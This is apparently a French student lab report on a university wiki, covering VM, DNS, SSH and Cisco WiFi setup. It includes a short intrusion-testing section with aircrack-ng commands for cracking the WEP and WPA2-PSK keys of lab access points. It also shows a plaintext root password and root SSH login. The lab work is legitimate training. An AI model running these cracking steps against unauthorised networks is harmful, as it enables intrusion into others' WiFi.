TP sysres IMA5 2021/2022 G2 : Différence entre versions

De Wiki d'activités IMA
(Configuration point d'accès WiFI)
Ligne 537 : Ligne 537 :
  
 
[[Fichier:Crackage_wpa.png|center|thumb|500px|Crackage WPA]]
 
[[Fichier:Crackage_wpa.png|center|thumb|500px|Crackage WPA]]
 +
 +
'''5.5  Intrusion sur un serveur d’application Web'''
 +
[[Wiki_intrusion_5.5.zip]]
  
 
= Configuration point d'accès WiFI =
 
= Configuration point d'accès WiFI =

Version du 16 décembre 2021 à 10:10

Wiki compte-rendu de TP PRA - Aviran Tetia & Robin Lasserye

Sujet

L'objectif de ce TP est de créer un réseau redondé Lien : https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/

1. Configuration du Réseau physique

[insérer image]

Plan d'adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4 6509E (E304) IPv4 C9200 (E306) IPv4 ISR4331 (SR52) SSID VM
Andrei / Julien 10 10.00.0.0/16 2001:7A8:116E:60B0::0/64 10.00.0.250 10.00.0.251 10.00.0.252 10.00.0.253 Jonquille Kronenbourg
Robin / Aviran 11 10.01.0.0/16 2001:7A8:116E:60B0::0/64 10.01.0.250 10.01.0.251 10.01.0.252 10.01.0.253 Marguerite Paixdieu
Axel / Guillaume 02 10.02.0.0/16 2001:7A8:116E:60B0::0/64 10.02.0.250 10.02.0.251 10.02.0.252 10.02.0.253 Pensee Kasteel
Selim / Raphael 03 10.03.0.0/16 2001:7A8:116E:60B0::0/64 10.04.0.250 10.03.0.251 10.03.0.252 10.03.0.253 Lavende Karmeliet
Helene / Camille 04 10.04.0.0/16 2001:7A8:116E:60B0::0/64 10.03.0.250 10.04.0.251 10.04.0.252 10.04.0.253 Tulipe  
Boris / Louis 05 10.05.0.0/16 2001:7A8:116E:60B0::0/64 10.05.0.250 10.05.0.251 10.05.0.252 10.05.0.253 Rose Bellerose
Johnny / Arthur 06 10.06.0.0/16 2001:7A8:116E:60B0::0/64 10.06.0.250 10.06.0.251 10.06.0.252 10.06.0.253 Orchidee Anosteke
Mel / Theo 07 10.07.0.0/16 2001:7A8:116E:60B0::0/64 10.07.0.250 10.07.0.251 10.07.0.252 10.07.0.253 Tournesol  
Khalil / Alvare 08 10.08.0.0/16 2001:7A8:116E:60B0::0/64 10.08.0.250 10.08.0.251 10.08.0.252 10.08.0.253 Lys  
SOuleyman / Enoch 09 10.09.0.0/16 2001:7A8:116E:60B0::0/64 10.09.0.250 10.09.0.251 10.09.0.252 10.09.0.253 Pissenlit  
Clement 110 10.10.0.0/16 2001:7A8:116E:60B0::0/64 10.10.0.250 10.10.0.251 10.10.0.252 10.10.0.253 Coquelicot  

Table du VLAN 42

Groupe @IPv4 MV @IPv6 MV (auto)
Andrei / Julien 193.48.57.176  
Robin / Aviran 193.48.57.177  
Axel / Guillaume 193.48.57.178  
Selim / Raphael 193.48.57.179  
Helene / Camille 193.48.57.180  
Boris / Louis 193.48.57.181  
Johnny / Arthur 193.48.57.182  
Mel / Theo 193.48.57.183  
Khalil / Alvare 193.48.57.184  
SOuleyman / Enoch 193.48.57.185  
Clement 193.48.57.186  

Note :

à compléter

Entité Élève Domaine 193.48.57.176/28 10.60.0.0/16 2001:660:4401:60B0::/60 2001:7A8:116E:60B0::/60 VLAN VLAN WIFI N° VRRP SSID n°1 SSID n°2
ROUTEUR E304 193.48.57.187  :: :F0  :: :F0 10.NN.00.250
ROUTEUR E306 193.48.57.188  :: :F1  :: :F1 10.NN.00.251
ROUTEUR SR52 193.48.57.189  :: :F2  :: :F2 10.NN.00.252
ROUTEUR FLOTTANTE 193.48.57.190  :: :F3  :: :F3 10.NN.00.253
Vlan INTERCO 531 INTERCO-SA 192.168.222.40/29 fe80::/10  ::1 fe80::/10  ::1 10.NN.00.253
Vlan INTERCO E304 192.168.222.42/29 fe80::/10  ::1 fe80::/10  ::1
Vlan INTERCO E306 192.168.222.43/29 fe80::/10  ::2 fe80::/10  ::2
Vlan INTERCO SR53 192.168.222.44/29 fe80::/10  ::3 fe80::/10  ::3


  • Plan d'adressage IPv4 :
VLAN Nom Réseau IPv4 Cisco 6509-E Cisco 9200 Cisco ISR 4331 Routeur plateforme maths/info PA Wifi n°1 PA Wifi n°2
  • Plan d'adressage IPv6 :
VLAN Nom Réseau IPv6 Cisco 6509-E Cisco 9200 Cisco ISR 4331 Routeur plateforme maths/info PA Wifi n°1 PA Wifi n°2

3. Configuration des Machines Virtuelles

On se connecte en ssh à capbreton :

ssh root@capbreton

Nous incluons le proxy de polytech dans nos variables d'environnement:

export http_proxy=http://proxy.plil.fr:3128

Nous procédons ensuite la création de la machine virtuelle, pour cela nous allons saisir les informations suivantes: le nom de la machine (ici Paixdieu), l'adresse IP (--ip) qui nous a été fourni durant la répartition des IP, l'adresse IP du routeur de la salle E306 (--gateway) et le masque du réseau correspondant à un /28 (--netmask) (le /27 étant divisé entre les deux classes), l'emplacement de nos disques virtuels (--dir), le mot de passe de la machine virtuel (---password) puis le type de distribution souhaitée, ici nous avons choisi Debian Bullseye (--dist).

xen-create-image --hostname=Paixdieu --ip=193.48.57.177 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Ensuite, nous avons créé deux LV, chacun de 10 Go sur le groupe de volume de stockage:

lvcreate -L10G -n Paixdieu1 storage
lvcreate -L10G -n Paixdieu2 storage

Puis nous les avons formatés au format ext4 de la manière suivante:

mkfs.ext4 /dev/storage/Paixdieu1
mkfs.ext4 /dev/storage/Paixdieu2

nous modifions ensuite notre fichier "/etc/xen/Paixdieu.cfg" pour préciser l'ajout les volumes logiques Paixdieu1 et Paixdieu2, de plus on ajoute le bridge IMA5sc dans la fonction vif. Pour cela on ajoute les lignes suivantes:

#
#  Disk device(s).
#
root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Paixdieu/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Paixdieu/swap.img,xvda1,w',
 		  'phy:/dev/storage/Paixdieu1,xvda3,w',
 		  'phy:/dev/storage/Paixdieu2,xvda4,w'
             ]


#
#  Physical volumes
#


#
#  Hostname
#
name        = 'Paixdieu'

#
#  Networking
#
vif         = [ 'ip=193.48.57.177 ,mac=00:16:3E:95:13:AE ,bridge=IMA5sc' ]

Nous lancons la machine virtuelle:

xl create -c /etc/xen/Paixdieu.cfg

Nous ajoutons les répertoires liés à xvda3 et vxda4 pour y placer /home et /var:

mkdir /mnt/xvda3
mkdir /mnt/xvda4
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4

Nous y déplaçons le répertoire /var/ dans xvda4:

mv /var/* /mnt/xvda4

Pour monter les disques, nous modifions les lignes suivantes dans /etc/fstab:

proc            /proc           proc    defaults        0       0
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous lancons la commande de montage:

mount -a

Nous obtenons les partitions suivantes:

lsblk

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

Pour finir nous activons l'IPv6 dans l'interface en ajoutant les lignes suivantes dans /etc/network/interfaces:

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
 
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.177
gateway 193.48.57.190
netmask 255.255.255.240
iface eth0 inet6 auto 

# post-up  ethtool -K eth0 tx off

#
# The commented out line above will disable TCP checksumming which
# might resolve problems for some users.  It is disabled by default

Nous effectuons les commandes suivantes pour appliquer les changements:

systemctl restart networking
ip a

Et nous obtenons les résultats comme ça:

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host 
      valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
   link/ether 00:16:3e:95:13:ae brd ff:ff:ff:ff:ff:ff
   inet 193.48.57.177/28 brd 193.48.57.191 scope global eth0
      valid_lft forever preferred_lft forever
   inet6 2001:7a8:116e:60b0:216:3eff:fe95:13ae/64 scope global dynamic mngtmpaddr 
      valid_lft 2591995sec preferred_lft 604795sec
   inet6 fe80::216:3eff:fe95:13ae/64 scope link 
      valid_lft forever preferred_lft forever

Puis nous quittons la VM avec CTRL + [

Pour y retourner:

xen console Paixdieu

Pour retourner sur sa machine virtuelle, il faut :

- retourner sur capbreton

ssh root@capbreton

- Relancer la VM (login : root | password : glopglopglop):

xl create -c /etc/xen/Paixdieu.cfg

Nous avons configuré la résolution de noms dans /etc/network/interfaces, en ajoutons la ligne suivante :

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
 
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.177
gateway 193.48.57.190
netmask 255.255.255.240
dns-nameservers 8.8.8.8 8.8.4.4
iface eth0 inet6 auto

Puis nous avons vérifié son fonctionnement à l'aide d'un :

ping www.google.com
...
--- www.google.com ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms

Configuration du SSH

Dans /etc/ssh/sshd_config, ajout des lignes :

Port 2223
PermitRootLogin yes

Puis :

> systemctl restart ssh
> systemctl status ssh
ssh.service - OpenBSD Secure Shell server
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: e>
    Active: active (running) since Mon 2021-11-29 14:47:49 UTC; 2s ago
      Docs: man:sshd(8)
            man:sshd_config(5)
   Process: 3679 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
  Main PID: 3680 (sshd)
     Tasks: 1 (limit: 230)
    Memory: 1.3M
       CPU: 21ms
    CGroup: /system.slice/ssh.service
            `-3680 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

Puis nous testons le SSH depuis le terminal de la Zabeth :

> ssh root@193.48.57.177 -p 2223
password : glopglopglop

Nous arrivons à nous connecter, la configuration du SSh est donc un succès.

Configuration du DNS :

On a installé le package bind9 :

>apt install bind9

Sur le site gandit.net, nous avons modifié :

Fenêtre Glue Records : ns1.paixdieu.site | 193.48.57.177

Fenêtre Serveurs de noms :

DNS Primaire : ns1.paixdieu.site | DNS Secondaire : ns6.gandi.net

Dans le fichier /etc/resolv.conf, ajout de la ligne :

nameserver 127.0.0.1

Afin de configurer le DNS par defaut.

Puis nous passons à la configuration du DNS primaire : On ajoute donc une zone lié à notre domaine paixdieu.site de type master et le chemin de son fichier de configuration et on permet les transferts d'informations avec le DNS secondaire ns6.gandi.net.

On ajoute donc les lignes suivantes dans /etc/bind/named.conf.site:

>vim /etc/bind/named.conf.site
acl "allowed_to_transfer" {
  193.48.57.0/24 ;
};

zone "paixdieu.site" {
        type master;
        file "/etc/bind/db.paixdieu.site";
        allow-transfer {217.70.177.40; };
};


Puis nous configurons la zone paixdieu.site, pour cela on ajoute les ns. On ajoute les lignes suivantes dans /etc/bind/db.paixdieu.site:

>vim /etc/bind/db.paixdieu.site
@       IN      SOA     ns1.paixdieu.site. postmaster.paixdieu.site. (
                             4         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.paixdieu.site.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.177
www     IN      A       193.48.57.177

Pour tester le bon fonctionnement du serveur DNS, nous utilisons la commande :

>host -t any paixdieu.site localhost

Résultat, cela fonctionne bien :

Using domain server:
Name: localhost
Address: 127.0.0.1#53
Aliases: 
paixdieu.site has SOA record ns1.paixdieu.site. postmaster.paixdieu.site. 4 604800 86400 2419200 604800
paixdieu.site name server ns6.gandi.net.
paixdieu.site name server ns1.paixdieu.site.

Nous avons ensuite procéder à la création des certificats SSL. Nous sommes donc aller sur Gandi, acheter un certificat. Pour cela nous avons généré un CSR avec la commande :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout paixdieu.site.key -out paixdieu.site.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout paixdieu.site.key permet de sauvegarder le fichier de clé privée sous le nom "paixdieu.site.key".

-out paixdieu.csr permet de sauvegarder le fichier CSR sous le nom "paixdieu.csr".

Lors du paramètrage, nous avons bien fait attention à rentrer "paixdieu.site" comme common name pour que le certificat soit validé par gandi. Cela se fait en copant le contenu de paixdieu.site.csr dans la fenêtre correspondante lors de l'achat du certificat.

Afin de bien sauvegarder les fichiers utilisés, nous les avvons sauvegarder dans le dossier suivant:

~/save_dns/paixdieu.site.csr
~/save_dns/paixdieu.site.key

4. Architecture réseau

L'architecture générale

Pra diagrams.png

Les réseaux virtuels

Le routage du site (IPv4)

Le routage du site (IPv6)

[insérer résumé]

Tests d'intrusion

5.2 Cassage de clef WEP d’un point d’accès WiFi

Pendant que l'infrastructure réseau était en train d'être configurée, nous avons testé de casser une clé wep.

Commandes réalisées sur un eeePC sous Linux :

Récupération du nom de l'interface réseau WiFi du eeePC:

ip a

On trouve : wlx40a5ef0f68cb

Mettre la carte réseau WiFi en mode monitor sur le channel 4:

airmon-ng start wlx40a5ef0f68cb 4

Après cette étape, il est possible que la carte réseau soit renommée par airmon-ng en wlan0mon.

Vérification que celle-ci est bien en mode monitor :

iwconfig

Ecouter les beacon WiFi sur cette carte réseau :

airodump-ng wlan0mon


De cette écoute , nous choisissons l'AP nommé cracotte09 avec le BSSID  : 04:DA:D2:9C:50:58

Nous simulons l'authentification sur cet AP :

aireplay-ng -9 -e cracotte09 -a 04:DA:D2:9C:50:58' wlan0mon
-9 : mode injection
-e cracotte09 : nom du point d'accès
-a 04:DA:D2:9C:50:58 : bssid du point d'accès

Nous récupérons ensuite un nombre de frames conséquent émis par cet access point :

aireplay-ng -1 0 -e cracotte09 -a 04:DA:D2:9C:50:58 -h 40:A5:EF:01:28:D0 wlan0mon

-1 : mode "fake authentification" 0 : délai entre les demandes d'authentifications -h 40:A5:EF:01:27:D0 : bssid de l'interface réseau

Résultat :

Branchements duu eeee PC

5.3 Cassage de clef WPA2-PSK d’un point d’accès WiFi

Maintenant nous choisissions kracotte5 comme victime à l'aide du groupe de commande précédentes, c'est à dire :

airmon-ng start wlx40a5ef0f68cb 4
airodump-ng wlan0mon

Une fois que nous avons trouvé la victime (kracotte 5 ainsi que son BSSID), nous tentons de récupérer un handshake provenant de ce point d'accès et nous le stockons dans un fichier psk :

airodump-ng -c 4 --bssid 44:AD:D9:5F:87:04 -w psk wlan0mon

Nous installons ensuite un utilitaire pour générer le dictionnaire de clé WPA2-PSK qui sera utilisé par aircrack-ng pour se connecter au point d'accès wifi kracotte5 :

apt-get install crunch

Pour installer cette utilitaire nous pouvons relier l'eeePc au réseau de l'école à l'aide du deuxième câble ethernet disponnible à l'arrière des zabeth :


Branchements duu eeee PC


Une fois installé nous pouvons générer le dictionnaire :

crunch 8 8 0123456789 -o password.lst

Une fois généré, nous pouvons lancer la précédure de crackage (qui peut être très longue) :

aircrack-ng -w password.lst -b 44:AD:D9:5F:87:04 psk*.cap
Crackage WPA

5.5 Intrusion sur un serveur d’application Web Wiki_intrusion_5.5.zip

Configuration point d'accès WiFI

Configuration du point d'accès WiFi E304 (primaire) :

Installation de minicom sur macos :

brew install minicom

Récupération du nom du point d'accès connecté en USB (mac Os):

ls /dev/cu*

On obtient (en branchant et débranchant on identifie l'appareil qui apparait):

/dev/cu.usbserial-FTB3OOLY

Configuration du routeur WiFi :

minicom -os

Configuration à ajouter :

Nom de device : /dev/cu.usbserial-FTB3OOLY
Baudrate : 9600 8N1

Sources : - https://wiki-ima.plil.fr/mediawiki//index.php/TP_sysres_IMA5_2021/2022_G6 - https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau006.html#sec29

enable => Passer en root (mdp : Cisco si par défaut)
conf t 
hostname wifi-ima5sc-e304 => (optionnel) on donne un nom à notre point d'accès
ip domain-name plil.info => ajoute un nom de domaine (utilisé pour la création de certificats)

Activation du ssh :

crypto key generate rsa general-keys modulus 2048 => Génération clés publique/privée 
ip ssh version 2 => Activation ssh

Configuration de l'authentification sur le point d'accès :

aaa new-model
aaa authentication login eap_marguerite group radius_marguerite
radius-server host 193.48.57.177 auth-port 1812 acct-port 1813 key secret_marguerite
aaa group server radius radius_marguerite
server 193.48.57.177 auth-port 1812 acct-port 1813

Configuration du SSID :

conf t
dot11 ssid SSID_MARGUERITE
vlan 11
 authentication open eap eap_marguerite
 authentication network-eap eap_marguerite
 authentication key-management wpa
 mbssid guest-mode
 exit
exit

Association du SSID à l'interface Wi-Fi :

conf t
interface Dot11Radio0
 encryption vlan 5 mode ciphers aes-ccm tkip
 ssid SSID_MARGUERITE
 mbssid
 exit
exit

Configuration du Vlan 11 :

conf t
interface Dot11Radio0.11
 encapsulation dot1Q 11
 no ip route-cache
 bridge-group 11
 bridge-group 11 subscriber-loop-control
 bridge-group 11 spanning-disabled
 bridge-group 11 block-unknown-source
 exit
exit

Configuration interface filaire :

conf t
 interface GigabitEthernet0.11
 encapsulation dot1Q 11
 bridge-group 11
 exit
exit

Configuration de l'IP du point d'accès et sa Gateway (n'est pas à faire par tous les groupes) :

conf t
 ip default-gateway 10.1.0.2
 interface BVI 1
  ip address 10.1.0.4 255.255.255.0
  exit
 exit

Configuration du routeur en e304 :

Configuration du VLAN1 :

 conf t
 interface vlan 1
  ip address 10.1.0.2 255.255.255.0
  exit
 exit

Configuration du port sur lequel est branché l'AP en mode trunk :

 conf t
 interface Gi4/2
  switchport
  switchport mode trunk
  switchport trunk allowed vlan add 1
  exit
 exit